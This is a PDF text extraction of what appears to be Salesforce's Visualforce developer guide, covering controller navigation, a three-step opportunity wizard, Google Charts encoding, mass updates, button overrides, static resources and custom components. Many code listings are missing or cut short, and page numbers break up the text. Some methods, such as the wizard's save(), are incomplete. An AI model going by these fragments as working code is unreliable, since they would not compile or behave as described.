After saving the page above, the Visualforce editor offers a “quick fix” option to add the save method to the MyController
class. If you click the quick fix link, MyController now looks like this:
The save method that is generated by the quick fix takes the standard signature for an action method: it is public, returns a
PageReference, and contains no arguments.
Ultimately, the save method definition must update the database with new account values, but first we must define a member
variable to save the account information that is retrieved from the database. Without a member variable for the account, the
record retrieved from the database does not persist after its values are used to render the page, and the user's updates to the
record cannot be saved. To introduce this member variable, two parts of the controller code need to change:
Account account;
109
Advanced Examples Defining Navigation Methods
Now that the member variable is in place, all that the save method needs to do is update the database:
Account account;
A more robust solution for save might catch various exceptions, look for duplicates, and so on. Since this is meant to be a
simple example, those details have been left out.
To test this page, change the value in the Change Account Name field and click Save New Account Name. As with the
standard Account controller example, the page simply refreshes with the new account name. In the next example, we will
extend the save action so that instead of refreshing the current page, it navigates the user to a different confirmation page.
Note:
For the page to render properly, you must specify a valid account ID in the URL. For example, if 001D000000HRgU6
is the account ID, use the following URL:
https://Salesforce_instance/apex/MyFirstPage?id=001D000000HRgU6
110
Advanced Examples Defining Navigation Methods
• Page.existingPageName
Refers to a PageReference for a Visualforce page that has already been saved in your organization. By referring to a page
in this way, the platform recognizes that this controller or controller extension is dependent on the existence of the specified
page and will prevent the page from being deleted while the controller or extension exists.
• PageReference pageRef = new PageReference('partialURL');
Creates a PageReference to any page that is hosted on the Force.com platform. For example, setting 'partialURL' to
'/apex/HelloWorld' refers to the Visualforce page located at http://mySalesforceInstance/apex/HelloWorld.
Likewise, setting 'partialURL' to '/' + 'recordID' refers to the detail page for the specified record.
This syntax is less preferable for referencing other Visualforce pages than Page.existingPageName because the
PageReference is constructed at runtime, rather than referenced at compile time. Runtime references are not available to
the referential integrity system. Consequently, the platform doesn't recognize that this controller or controller extension
is dependent on the existence of the specified page and won't issue an error message to prevent user deletion of the page.
• PageReference pageRef = new PageReference('fullURL');
For this example, suppose you want to redirect a user to another page with a new URL after he or she clicks Save. To do this,
first create a second page named mySecondPage by navigating to the following URL and using the quick fix:
https://Salesforce_instance/apex/mySecondPage
Then add the following markup to mySecondPage. For simplicity, just use the following standard-controller-based page that
was defined earlier in the tutorial:
<apex:page standardController="Account">
Hello {!$User.FirstName}!
<p>You are viewing the {!account.name} account.</p>
</apex:page>
Now return to the original page that you built in Defining Action Methods on page 108 and make sure that you have specified
an account id query parameter in the URL. Edit the save method in the controller so that it returns a PageReference to the
new page you just created, “mySecondPage”:
Account account;
111
Advanced Examples Creating a Wizard
Notice in the code above that the redirect attribute for the PageReference is set to true. If this attribute is not set, the
PageReference is returned to the browser, but no navigation occurs—the URL for the original page remains the same. If you
want to change the URL as a result of navigation, you have to set the redirect attribute.
If you test the page now, clicking Save New Account Name navigates to mySecondPage, but the data context is lost—that
is, no value is available for {!account.name}. The reason for this is that when a redirect occurs the controller clears the
context state. Consequently we need to reset the id query string parameter in the PageReference's parameter map:
Account account;
Creating a Wizard
Having learned about the essential features of Visualforce markup and controllers, this final example shows how they can be
used together to create a custom, three-step wizard that allows users to create an opportunity at the same time as a related
contact, account, and contact role:
• The first step captures information related to the account and contact
• The second step captures information related to the opportunity
• The final step shows which records will be created and allows the user to save or cancel
To implement this wizard, we must define three pages for each of the three steps in the wizard, plus a single custom controller
that sets up navigation between each of the pages and tracks the data that the user enters.
Important: Data that's used across several Visualforce pages must be defined within the first page, even if that page
isn't using the data. For example, if a field is necessary on pages two and three of a three-step process, page one must
also contain the field. You can hide this field from the user by setting the rendered attribute of the field to false.
112
Advanced Examples The Opportunity Wizard Controller
The code for each of these components is included in the sections below, but first you need to understand the best procedure
for creating them because each of the three pages references the controller, and the controller references each of the three
pages. In what appears to be a conundrum, you cannot create the controller without the pages, but the pages have to exist to
refer to them in the controller.
We can work out of this problem by first defining pages that are completely empty, then creating the controller, and then
adding markup to the pages. Consequently, the best procedure for creating the wizard pages and controller is as follows:
1. Navigate to the URL for the first page, https://Salesforce_instance/apex/opptyStep1, and click Create Page
opptyStep1.
2. Repeat the step above for the other pages in the wizard, opptyStep2 and opptyStep3.
3. Create the newOpportunityController controller by adding it as an attribute to the <apex:page> tag on one of
your pages (for example, <apex:page controller="newOpportunityController">, and clicking Create Apex
controller newOpportunityController. Paste in all of the controller code and click Save.
4. Now return to the editors for the three pages that you created and copy in their code. The wizard should now work as
expected.
Note: Although you can create an empty page, the reverse is not true—in order for a page to refer to a controller, the
controller has to exist with all of its methods and properties.
// The next four methods return one of each of the four member
// variables. If this is the first time the method is called,
// it creates an empty record for the variable.
public Account getAccount() {
if(account == null) account = new Account();
return account;
}
113
Advanced Examples The Opportunity Wizard Controller
// This method cancels the wizard, and returns the user to the
// Opportunities tab
public PageReference cancel() {
PageReference opportunityPage = new ApexPages.StandardController(opportunity).view();
opportunityPage.setRedirect(true);
return opportunityPage;
}
// This method performs the final save for all four objects, and
// then navigates the user to the detail page for the new
// opportunity.
public PageReference save() {
return opptyPage;
}
114
Advanced Examples Step One of the Opportunity Wizard
return false;
}
</script>
<apex:sectionHeader title="New Customer Opportunity" subtitle="Step 1 of 3"/>
<apex:form>
<apex:pageBlock title="Customer Information" mode="edit">
<!-- The pageBlockButtons tag defines the buttons that appear at the top
and bottom of the pageBlock. Like a facet, it can appear anywhere in
a pageBlock, but always defines the button areas.-->
<!-- The Next button contained in this pageBlockButtons area
calls the step2 controller method, which returns a pageReference to
the next step of the wizard. -->
<apex:pageBlockButtons>
<apex:commandButton action="{!step2}" value="Next"/>
<apex:commandButton action="{!cancel}" value="Cancel"
onclick="return confirmCancel()" immediate="true"/>
</apex:pageBlockButtons>
<apex:pageBlockSection title="Account Information">
Notice the following about the markup for the first page of the wizard:
• The <apex:pageBlock> tag can take an optional <apex:pageBlockButtons> child element that controls the buttons
that appear in the header and footer of the component. The order in which the <apex:pageBlockButtons> tag appears
in the <apex:pageBlock> body does not matter. In this page of the wizard, the <apex:pageBlockButtons> tag
includes the Next button that appears in the footer of the page block area.
• The wizard relies on JavaScript code to display a dialog box asking if a user wants to navigate away when clicking the
Cancel button. Although the example includes the JavaScript directly in the markup for simplicity, it is a better practice
to put JavaScript code in a static resource and reference that resource instead.
• In this page of the wizard, the Next button calls the step2 method in the controller, which returns a PageReference
to the next step of the wizard:
<apex:pageBlockButtons>
<apex:commandButton action="{!step2}" value="Next"/>
</apex:pageBlockButtons>
115
Advanced Examples Step Two of the Opportunity Wizard
Command buttons must appear in a form, because the form component itself is responsible for refreshing the page display
based on the new PageReference.
• An <apex:pageBlockSection> tag organizes a set of data for display. Similar to a table, an
<apex:pageBlockSection> consists of one or more columns, each of which spans two cells—one for a field's label,
and one for its value. Each component found in the body of an <apex:pageBlockSection> tag is placed into the next
cell in a row until the number of columns is reached. At that point, the next component wraps to the next row and is placed
in the first cell.
Some components, including <apex:inputField>, automatically span both cells of a page block section column at once,
filling in both a field's label and value. For example, in the Contact Information area of this page, the First Name field
is in the first column, the Last Name field is in the second column, and the Phone field wraps to the first column of the
next row:
• The value attribute on the first <apex:inputField> tag in the preceding code excerpt assigns the user's input to the
firstName field of the contact record that's returned by the getContact method in the controller.
return false;
}
116
Advanced Examples Step Three of the Opportunity Wizard
</script>
<apex:sectionHeader title="New Customer Opportunity" subtitle="Step 2 of 3"/>
<apex:form>
<apex:pageBlock title="Opportunity Information" mode="edit">
<apex:pageBlockButtons>
<apex:commandButton action="{!step1}" value="Previous"/>
<apex:commandButton action="{!step3}" value="Next"/>
<apex:commandButton action="{!cancel}" value="Cancel"
onclick="return confirmCancel()" immediate="true"/>
</apex:pageBlockButtons>
<apex:pageBlockSection title="Opportunity Information">
<apex:inputField id="opportunityName" value="{!opportunity.name}"/>
<apex:inputField id="opportunityAmount" value="{!opportunity.amount}"/>
<apex:inputField id="opportunityCloseDate" value="{!opportunity.closeDate}"/>
<apex:inputField id="opportunityStageName" value="{!opportunity.stageName}"/>
<apex:inputField id="contactRole" value="{!role.role}"/>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
Notice that although the markup for placing the Close Date, Stage, and Role for Contact fields on the form is the
same as the other fields, the <apex:inputField> tag examines the data type of each field to determine how to display it.
For example, clicking in the Close Date text box brings up a calendar from which users can select the date.
Your page should look like this:
return false;
}
</script>
<apex:sectionHeader title="New Customer Opportunity" subtitle="Step 3 of 3"/>
<apex:form>
<apex:pageBlock title="Confirmation">
117
Advanced Examples Advanced Visualforce Dashboard Components
<apex:pageBlockButtons>
<apex:commandButton action="{!step2}" value="Previous"/>
<apex:commandButton action="{!save}" value="Save"/>
<apex:commandButton action="{!cancel}" value="Cancel"
onclick="return confirmCancel()" immediate="true"/>
</apex:pageBlockButtons>
<apex:pageBlockSection title="Account Information">
<apex:outputField value="{!account.name}"/>
<apex:outputField value="{!account.site}"/>
</apex:pageBlockSection>
<apex:pageBlockSection title="Contact Information">
<apex:outputField value="{!contact.firstName}"/>
<apex:outputField value="{!contact.lastName}"/>
<apex:outputField value="{!contact.phone}"/>
<apex:outputField value="{!role.role}"/>
</apex:pageBlockSection>
<apex:pageBlockSection title="Opportunity Information">
<apex:outputField value="{!opportunity.name}"/>
<apex:outputField value="{!opportunity.amount}"/>
<apex:outputField value="{!opportunity.closeDate}"/>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
Notice that the third page of the wizard simply writes text to the page with <apex:outputField> tags.
Your final page should look like this:
118
Advanced Examples Integrating Visualforce and Google Charts
To be included in a dashboard, a Visualforce page must have either no controller, a custom controller, or reference a page
bound to the StandardSetController Class. If a Visualforce page does not meet these requirements, it does not appear
as an option in the dashboard component Visualforce Page drop-down list.
The following example shows a Visualforce page that can be used within a dashboard and that uses a custom list controller.
It displays all of the open cases associated with a contact named “Babara Levy”:
This code shows the custom list controller associated with the page:
See Also:
Creating Visualforce Dashboard Components
119
Advanced Examples Integrating Visualforce and Google Charts
The custom controller has two important functions—init() and create()—that correspond to the requirements above:
• The function init() takes a numeric value and converts it to Google Chart's simple data encoding type. For more
information, see Simple Encoding Data Format in the Google Charts API documentation.
• The function create() constructs the URL that makes the request to the Google Charts API.
The following code represents the controller for the Visualforce page:
/* This class contains the encoding algorithm for use with the
Google chartAPI. */
/* The encoding map which takes an integer key and returns the
respective encoding value as defined by Google.
This map is initialized in init() */
private Map<Integer, String> encodingMap { get; set; }
public GoogleDataEncoding() {
min = 0;
max = 61;
eType = EncodingType.SIMPLE;
displayChart = false;
init();
}
120
Advanced Examples Integrating Visualforce and Google Charts
chartURL = 'http://chart.apis.google.com/chart?chs=600x300'
+ '&chtt=Time+vs|Distance&chxt=x,y,x,y'
+ '&chxr=0,0,10,1|1,0,65,5'
+ '&chxl=2:|Seconds|3:|Meters';
if (graph.compareTo('barChart') == 0)
{
chartURL += '&cht=bvs';
}
else if (graph.compareTo('lineChart') == 0)
{
chartURL += '&cht=ls';
}
else
{
throw new EncodingException('An unsupported chart type'
+ 'was selected: ' + graph + ' does not exist.');
}
121
Advanced Examples Integrating Visualforce and Google Charts
encodingMap.put(0,'A');
encodingMap.put(1,'B');
encodingMap.put(2,'C');
encodingMap.put(3,'D');
encodingMap.put(4,'E');
encodingMap.put(5,'F');
encodingMap.put(6,'G');
encodingMap.put(7,'H');
encodingMap.put(8,'I');
encodingMap.put(9,'J');
encodingMap.put(10,'K');
encodingMap.put(11,'L');
encodingMap.put(12,'M');
encodingMap.put(13,'N');
encodingMap.put(14,'O');
encodingMap.put(15,'P');
encodingMap.put(16,'Q');
encodingMap.put(17,'R');
encodingMap.put(18,'S');
encodingMap.put(19,'T');
encodingMap.put(20,'U');
encodingMap.put(21,'V');
encodingMap.put(22,'W');
encodingMap.put(23,'X');
encodingMap.put(24,'Y');
encodingMap.put(25,'Z');
encodingMap.put(26,'a');
encodingMap.put(27,'b');
encodingMap.put(28,'c');
encodingMap.put(29,'d');
encodingMap.put(30,'e');
encodingMap.put(31,'f');
encodingMap.put(32,'g');
encodingMap.put(33,'h');
encodingMap.put(34,'i');
encodingMap.put(35,'j');
encodingMap.put(36,'k');
encodingMap.put(37,'l');
encodingMap.put(38,'m');
encodingMap.put(39,'n');
encodingMap.put(40,'o');
encodingMap.put(41,'p');
encodingMap.put(42,'q');
encodingMap.put(43,'r');
encodingMap.put(44,'s');
encodingMap.put(45,'t');
encodingMap.put(46,'u');
encodingMap.put(47,'v');
encodingMap.put(48,'w');
encodingMap.put(49,'x');
encodingMap.put(50,'y');
encodingMap.put(51,'z');
encodingMap.put(52,'0');
encodingMap.put(53,'1');
encodingMap.put(54,'2');
encodingMap.put(55,'3');
encodingMap.put(56,'4');
encodingMap.put(57,'5');
encodingMap.put(58,'6');
encodingMap.put(59,'7');
encodingMap.put(60,'8');
encodingMap.put(61,'9');
}
}
}
122
Advanced Examples Mass-Updating Records with a Custom List Controller
The Visualforce page needs two input elements: one for the chart type, and one for the data set. Below is a sample page that
constructs the form to collect this information:
<apex:page controller="GoogleDataEncoding">
<apex:form >
<apex:pageBlock
title="Create a Google Chart for Time and Distance">
<apex:outputLabel
value="Enter data set, seperated by commas: "
for="dataInput"/><br/>
<apex:inputTextArea
id="dataInput" title="First Data Point"
value="{!dataSet}" rows="3" cols="50"/><br/>
<apex:selectRadio value="{!graph}"
layout="pageDirection">
<apex:selectOption itemValue="barChart"
itemLabel="Horizontal Bar Chart"/>
<apex:selectOption itemValue="lineChart"
itemLabel="Line Chart"/>
</apex:selectRadio>
<apex:commandButton action="{!create}"
value="Create"/>
</apex:pageBlock>
</apex:form>
<apex:image url="{!chartURL}" alt="Sample chart"
rendered="{!displayChart}"/>
</apex:page>
For a sample, enter the following sequence of numbers: 1, 1, 2, 3, 5, 8, 13, 21, 34, 55. Your page should
render the following:
123
Advanced Examples Mass-Updating Records with a Custom List Controller
The list controller tracks two sets of records: a primary list containing all the records selected by the filter, and a secondary list
containing those records the user selected. The secondary list is usually established on a standard listview page where the user
can check boxes to select the records. The user can then click on a custom list button that navigates to your custom mass update
page, which uses the prototype object to apply new field values to the user's selection. The prototype object operates on all the
records in the user's selection. To retrieve the prototype object in your custom controller, use the StandardSetController's
getRecord method. For example, to enable mass updates for Opportunities, use the singular term for its associated object
(Opportunity) to set field values for all records in the selection:
ApexPages.StandardSetController setCon;
<apex:page
standardController="Opportunity"
recordSetVar="opportunities"
extensions="selectedSizeWorkaround"
showHeader="false"
id="muopp"
>
<apex:form id="muform">
<apex:pageMessage
summary="Selected Collection Size: {!mySelectedSize}"
severity="info"
id="mupms"
/>
<apex:pageMessage
summary="Record Set Size: {!myRecordsSize}"
severity="info"
id="mupmr"
/>
<apex:pageBlock title="Opportunity Mass-Update" mode="edit" id="mub1">
<apex:pageMessages />
<apex:pageBlockSection id="mus1">
<apex:inputField value="{!opportunity.stagename}" id="stagename">
<apex:actionSupport event="onchange" rerender="muselectedlist"/>
</apex:inputField>
</apex:pageBlockSection>
<apex:pageBlockButtons location="bottom" id="mubut">
<apex:commandButton value="Save" action="{!save}" id="butsav"/>
<apex:commandButton value="Cancel" action="{!cancel}" id="butcan"/>
</apex:pageBlockButtons>
</apex:pageBlock>
<apex:pageBlock title="Selected Opportunities" id="muselectedlist">
<apex:pageBlockTable value="{!selected}" var="opp" id="mutab">
<apex:column value="{!opp.name}" id="oppname"/>
124
Advanced Examples Mass-Updating Records with a Custom List Controller
4. Click Your Name > Setup > Customize > Opportunities > Buttons and Links
5. Under Custom Buttons and Links, click New.
6. Set the Button Label to Mass Update Stages, and set the Name to MassUpdateStages.
7. Set the Display Type to List Button and ensure that Display Checkboxes (for Multi-Record Selection)
is checked. Set the Behavior to Display in existing window with sidebar, and set the Content Source to
Visualforce Page. Click the name of the page you just created to associate it with this button.
8. Click Save.
9. Click Your Name > Setup > Customize > Opportunities > Search Layouts. Then, click Edit next to Opportunities List
View.
10. Under Custom Buttons, move the Mass Update Stages button to the Selected Buttons list.
11. Click Save.
12. Click the Opportunities tab. Select or create a filter that displays some existing opportunities you would like to change.
13. You will see checkboxes next to each of the results. Click any number of checkboxes and click the Mass Update Stages
button to change the selected stages to any value you wish.
14. Click Save.
While this example shows you how to update one field, any number of fields in the prototype object can be referenced and
applied to the user's selection; any field in the prototype object that the user doesn't set doesn't affect the selected records.
Remember that properties of fields, such as their requiredness, are maintained in the prototype object. For example, if you
include an input field on the page for a required field such as Opportunity.StageName, the user must enter a value for the
field.
Note: You only need selectedSizeWorkaround if you want your page to either display or reference the sizes of
the user selection or filtered set. Such a display is helpful since it gives the user information about the set that will be
modified by the mass update.
125
Chapter 9
Overriding Buttons, Links, and Tabs with Visualforce
Salesforce lets you override the behavior of standard buttons on record detail pages. In addition, you can override the tab home
page that displays when a user clicks a standard or custom object tab.
To override a standard button or a tab home page:
1. Navigate to the appropriate override page:
• For standard objects, click Your Name > Setup > Customize, select the appropriate object or tab link, then click Buttons
and Links.
• For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
In the Standard Buttons and Links related list, click Edit next to the button or tab home page you want to override.
Note: Since events and tasks don't have their own tabs, you can only override their standard buttons and links.
<apex:page standardController="Account">
<!-- page content here -->
</apex:page>
When overriding tabs with a Visualforce page, only Visualforce pages that use the standard list controller for that tab, pages
with a custom controller, or pages with no controller can be selected.
When overriding lists with a Visualforce page, only Visualforce pages that use a standard list controller can be selected.
When overriding the New button with a Visualforce page, you also have the option to skip the record type selection page.
If selected, any new records you create won't be forwarded to the record type selection page, since it assumes that your
Visualforce page is already handling record types.
Tip: Use a controller extension when you need to add extra functionality to Visualforce page that you are using as
an override.
4. Optionally, enter any comments to note the reason for making this change.
5. Click Save.
Button overrides are global throughout Salesforce because overrides control the action behind the button. For example, if
you override the New button on opportunities, your replacement action takes effect wherever that action is available:
126
Overriding Buttons, Links, and Tabs with Visualforce Overriding Tabs Using a Standard List Controller
To remove an override:
1. Click Your Name > Setup > Customize, select the appropriate object or tab link, and then click Buttons and Links.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
2. Click Edit next to the override.
3. Select No Override (default behavior).
4. Click OK.
Then, you can override the Account tab to display that page instead of the standard Account home page.
To override the tab for Account:
1. Click Your Name > Setup > Customize > Accounts > Buttons and Links.
2. Click Edit for the Accounts Tab.
3. From the Visualforce Page drop-down list, select the overrideAccountTab page.
4. Click Save.
Note: Make sure you have made this page available to all your users by setting the page level security appropriately.
1. Select Your Name > Setup > Customize, select the appropriate tab or users link, and choose Buttons and Links. Custom
buttons are not available on the user object or custom home pages.
127
Overriding Buttons, Links, and Tabs with Visualforce Defining Custom Buttons and Links for Visualforce
Custom buttons and links are available for activities under the individual setup links for tasks and events. However, you
can override a button that applies to both tasks and events by clicking Your Name > Setup > Customize > Activities >
Activity Buttons.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
2. Click New from the Custom Buttons and Links section.
3. Enter the following attributes:
128
Overriding Buttons, Links, and Tabs with Visualforce Adding Custom List Buttons using Standard List Controllers
Content Source To use a Visualforce page, select “Visualforce Page,” and choose the page from the drop-down
list. Visualforce pages cannot be used as custom links on the home page.
129
Overriding Buttons, Links, and Tabs with Visualforce Adding Custom List Buttons using Standard List Controllers
</apex:pageBlockButtons>
<apex:pageBlockTable value="{!selected}" var="opp">
<apex:column value="{!opp.name}"/>
<apex:column headerValue="Stage">
<apex:inputField value="{!opp.stageName}"/>
</apex:column>
<apex:column headerValue="Close Date">
<apex:inputField value="{!opp.closeDate}"/>
</apex:column>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:form>
</apex:page>
a. Click Your Name > Setup > Customize > Opportunities > Buttons and Links.
b. Click New in the Custom Buttons and Links section.
c. Set the Label to Edit Stage & Date.
d. Set the Display Type to List Button.
e. Set the Content Source to Visualforce Page.
f. From the Content drop-down list, select oppEditStageAndCloseDate.
g. Click Save.
h. A warning will display notifying you that the button will not be displayed until you have updated page layouts. Click
OK.
a. Click Your Name > Setup > Customize > Accounts > Page Layouts.
b. Click Edit for the appropriate page layout.
c. In the Related List Section, click on Opportunities, then click to edit the properties.
d. In the Custom Buttons section, select Edit Stage & Date in the Available Buttons list and add it to the Selected
Buttons list.
e. Click OK.
f. Click Save.
Now, when you visit the account page, there is a new button in the opportunities related list.
When you select an opportunity and click Edit Stage & Date, you are taken to your custom edit page.
130
Overriding Buttons, Links, and Tabs with Visualforce Displaying Record Types
• If the <apex:inputField> tag refers to a picklist field that's filtered by a record type:
◊ The rendered <apex:inputField> component only displays options compatible with that record type.
◊ If the <apex:inputField> component is bound to a dependent picklist with a rendered and editable controlling
field, only options compatible with both the record type and the controlling field value display.
◊ If the user can change the field’s record type, or select a record type for the new field, the <apex:inputField>
component renders as a drop-down list. Otherwise, it renders as read-only text.
◊ It's the developer's responsibility to either refresh the page or rerender filtered picklists when the list changes.
In addition, the <apex:outputField> tag's support for record types is identical to a read-only implementation of the
<apex:inputField> behavior.
When overriding the New button with a Visualforce page, you also have the option to skip the record type selection page. If
selected, any new records you create won't be forwarded to the record type selection page, since it assumes that your Visualforce
page is already handling record types.
131
Chapter 10
Using Static Resources
Static resources allow you to upload content that you can reference in a Visualforce page, including archives (such as .zip and
.jar files), images, stylesheets, JavaScript, and other files.
Using a static resource is preferable to uploading a file to the Documents tab because:
• You can package a collection of related files into a directory hierarchy and upload that hierarchy as a .zip or .jar archive.
• You can reference a static resource by name in page markup by using the $Resource global variable instead of hard coding
document IDs.
Tip: In addition, using static resources to refer to JavaScript or cascading style sheets (CSS) is preferable to including
the markup inline. Managing this kind of content using static resources allows you to have a consistent look and feel
for all your pages and a shared set of JavaScript functionality.
A single static resource can be up to 5 MB in size, and an organization can have up to 250 MB of static resources, total.
1. Click Your Name > Setup > Develop > Static Resources.
2. Click New Static Resource.
3. In the Name text box, enter the text that should be used to identify the resource in Visualforce markup. This name can
contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a
letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
Note: If you reference a static resource in Visualforce markup and then change the name of the resource, the
Visualforce markup is updated to reflect that change.
• Private specifies that the static resource data cached on the Salesforce server shouldn't be shared with other users.
The static resource is only stored in cache for the current user's session.
Note: Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's
profile has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static
132
Using Static Resources Referencing a Static Resource in Visualforce Markup
resources only within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to
45 days for the static resources to expire from the Salesforce cache and any intermediate caches.
• Public specifies that the static resource data cached on the Salesforce server be shared with other users in your
organization for faster load times.
The W3C specifications on Header Field Definitions has more technical information about cache-control.
Note: This feature only works for Sites—enabled organizations that use the static resource.
7. Click Save.
Caution: If you are using WinZip be sure to install the most recent version. Older versions of WinZip may cause a
loss of data.
• To reference a stand-alone file, use $Resource.<resource_name> as a merge field, where <resource_name> is the
name you specified when you uploaded the resource. For example:
or
<apex:includeScript value="{!$Resource.MyJavascriptFile}"/>
• To reference a file in an archive, use the URLFOR function. Specify the static resource name that you provided when you
uploaded the archive with the first parameter, and the path to the desired file within the archive with the second. For
example:
or
• You can use relative paths in files in static resource archives to refer to other content within the archive. For example, in
your CSS file, namedstyles.css, you have the following style:
When you use that CSS in a Visualforce page, you need to make sure the CSS file can find the image. To do that, create
an archive (such as a zip file) that includes styles.css and img/testimage.gif. Make sure that the path structure
133
Using Static Resources Referencing a Static Resource in Visualforce Markup
is preserved in the archive. Then upload the archive file as a static resource named “style_resources”. Then, in your page,
add the following component:
Since the static resource contains both the stylesheet and the image, the relative path in the stylesheet resolves and the
image is displayed.
• Through a custom controller, you can dynamically refer to the contents of a static resource using the <apex:variable>
tag. First, create the custom controller:
If the name of the image changes in the zip file, you can just change the returned value in getImageName.
134
Chapter 11
Creating and Using Custom Components
Salesforce provides a library of standard, pre-built components, such as <apex:relatedList> and <apex:dataTable>,
that can be used to develop Visualforce pages. In addition, you can build your own custom components to augment this library.
This chapter provides an overview of custom components and how to create them:
• What are Custom Components?
• Custom Component Markup
• Using Custom Components in a Visualforce Page
• Custom Component Attributes
• Custom Component Controllers
• Defining Custom Components
• Custom components allow developers to define attributes that can be passed in to each component. The value of an attribute
can then change the way the markup is displayed on the final page, and the controller-based logic that executes for that
instance of the component. This behavior differs from that of templates, which do not have a way of passing information
from the page that uses a template to the template's definition itself.
135
Creating and Using Custom Components Defining Custom Components
• Custom component descriptions are displayed in the application's component reference dialog alongside standard component
descriptions. Template descriptions, on the other hand, can only be referenced through the Setup area of Salesforce because
they are defined as pages.
See Also:
Defining Custom Components
Using Custom Components in a Visualforce Page
1. In Salesforce click Your Name > Setup > Develop > Components.
2. Click New.
3. In the Label text box, enter the text that should be used to identify the custom component in Setup tools.
4. In the Name text box, enter the text that should identify this custom component in Visualforce markup. This name can
contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a
letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
5. In the Description text box, enter a text description of the custom component. This description appears in the component
reference with other standard component descriptions as soon as you click Save.
6. In the Body text box, enter Visualforce markup for the custom component definition. A single component can hold up to
1 MB of text, or approximately 1,000,000 characters.
7. Click Version Settings to specify the version of Visualforce and the API used with this component. If your organization
has installed managed packages from the AppExchange, you can also specify which version of each managed package to
use. Generally, you should use the default values for all versions. This associates the component with the most recent
version of Visualforce and the API, as well as each managed package. You can specify an older version of Visualforce and
the API to maintain specific behavior. You can specify an older version of a managed package if you want to access package
components or functionality that differs from the most recent package version.
8. Click Save to save your changes and view the custom component's detail screen, or click Quick Save to save your changes
and continue editing your component. Your Visualforce markup must be valid before you can save your component.
Note: You can also create a custom component in Visualforce development mode by adding a reference to a custom
component that does not yet exist to Visualforce page markup. After saving the markup, a quick fix link appears that
allows you to create a new component definition (including any specified attributes) based on the name that you
provided for the component.
For example, if you have not yet defined a custom component named myNewComponent and insert
<c:myNewComponent myNewAttribute="foo"/> into existing page markup, after clicking Save a quick fix
allows you to define a new custom component named myNewComponent with the following default definition:
<apex:component>
<apex:attribute name="myattribute" type="String" description="TODO: Describe me"/>
<!-- Begin Default Content REMOVE THIS -->
<h1>Congratulations</h1>
This is your new Component: mynewcomponent
<!-- End Default Content REMOVE THIS -->
</apex:component>
136
Creating and Using Custom Components Custom Component Markup
You can modify this definition in the Setup area by clicking Your Name > Setup > Develop > Components and then
clicking Edit next to the myNewComponent custom component.
<apex:component>
<b>
<apex:outputText value="This is my custom component."/>
</b>
</apex:component>
Notice that the markup can be a combination of Visualforce and HTML tags, just like other Visualforce pages.
For a more complex example, you could use a custom component to create a form that is used across multiple Visualforce
pages. Create a new custom component named recordDisplay and copy the following code:
<apex:component>
<apex:attribute name="record" description="The type of record we are viewing."
type="Object" required="true"/>
Next, create a page called displayRecords and use the following code:
<apex:page >
<c:recordDisplay record="Account" />
</apex:page>
For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For
example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/displayAccount?id=001D000000IRt53
You should see a page with details about the account you passed in as an ID.
137
Creating and Using Custom Components Using Custom Components in a Visualforce Page
<apex:page>
<c:recordDisplay record="Contact" />
</apex:page>
Again, pass in the ID of a contact before refreshing the page. You should see the page display information about your Contact.
Custom Component Attributes contains more information on using the <apex:attribute> component.
<apex:page standardController="Account">
This is my <i>page</i>. <br/>
<c:myComponent/>
</apex:page>
This is my page.
This is my custom component.
To use a custom component in a Visualforce page you must prefix the component's name with the namespace in which the
component was defined. For example, if a component named myComponent is defined in a namespace called myNS, the
component can be referenced in a Visualforce page as <myNS:myComponent>.
For ease of use, a component that is defined in the same namespace as an associated page can also use the c namespace prefix.
Consequently, if the page and component from the sample above are defined in the same namespace, you can reference the
component as <c:myComponent>.
If you want to insert content into a custom component, use the <apex:componentBody> tag.
See Also:
What are Custom Components?
Defining Custom Components
138
Creating and Using Custom Components Custom Component Attributes
2. Select the Version of the Salesforce API. This is also the version of Visualforce used with the custom component.
3. Click Save.
See Also:
How is Visualforce Versioned?
Managing Package Version Settings for Visualforce Pages and Components
<apex:component>
<!-- Attribute Definitions -->
<apex:attribute name="myValue" description="This is the value for the component."
type="String" required="true"/>
<apex:attribute name="borderColor" description="This is color for the border."
type="String" required="true"/>
To reference this component in a Visualforce page, you can use the following markup:
An <apex:attribute> tag requires values for its name, description, and type attributes:
• The name attribute defines how the custom attribute can be referenced in Visualforce pages. The value for this attribute
must be unique from the names of all other attributes defined in the component.
• The description attribute defines the help text for the attribute that appears in the component reference library once
the custom component has been saved. The custom component is listed in the reference library with the standard components
that are also available.
• The type attribute defines the Apex data type of the attribute. Only the following data types are allowed as values for the
type attribute:
139
Creating and Using Custom Components Custom Component Controllers
rendered
A Boolean value that specifies whether the custom component is rendered on the page. If not specified, this value defaults
to true.
<apex:component controller="myComponentController">
<apex:attribute name="componentValue" description="Attribute on the component."
type="String" required="required" assignTo="{!controllerValue}"/>
<apex:pageBlock title="My Custom Component">
<p>
<code>componentValue</code> is "{!componentValue}"
<br/>
<code>controllerValue</code> is "{!controllerValue}"
</p>
</apex:pageBlock>
Notice that the controllerValue has been upper cased using an Apex method.
</apex:component>
140
Creating and Using Custom Components Custom Component Controllers
Note that when using the assignTo attribute, getter and setter methods, or a property with get and set values, must
be defined.
4. Add the component to a page. For example,
<apex:page>
<c:simpleComponent componentValue="Hi there, {!$User.FirstName}"/>
</apex:page>
The output of the page will look something like the following:
Notice that the Apex controller method changes controllerValue so that it is displayed with uppercase characters.
141
Chapter 12
Dynamic Visualforce Bindings
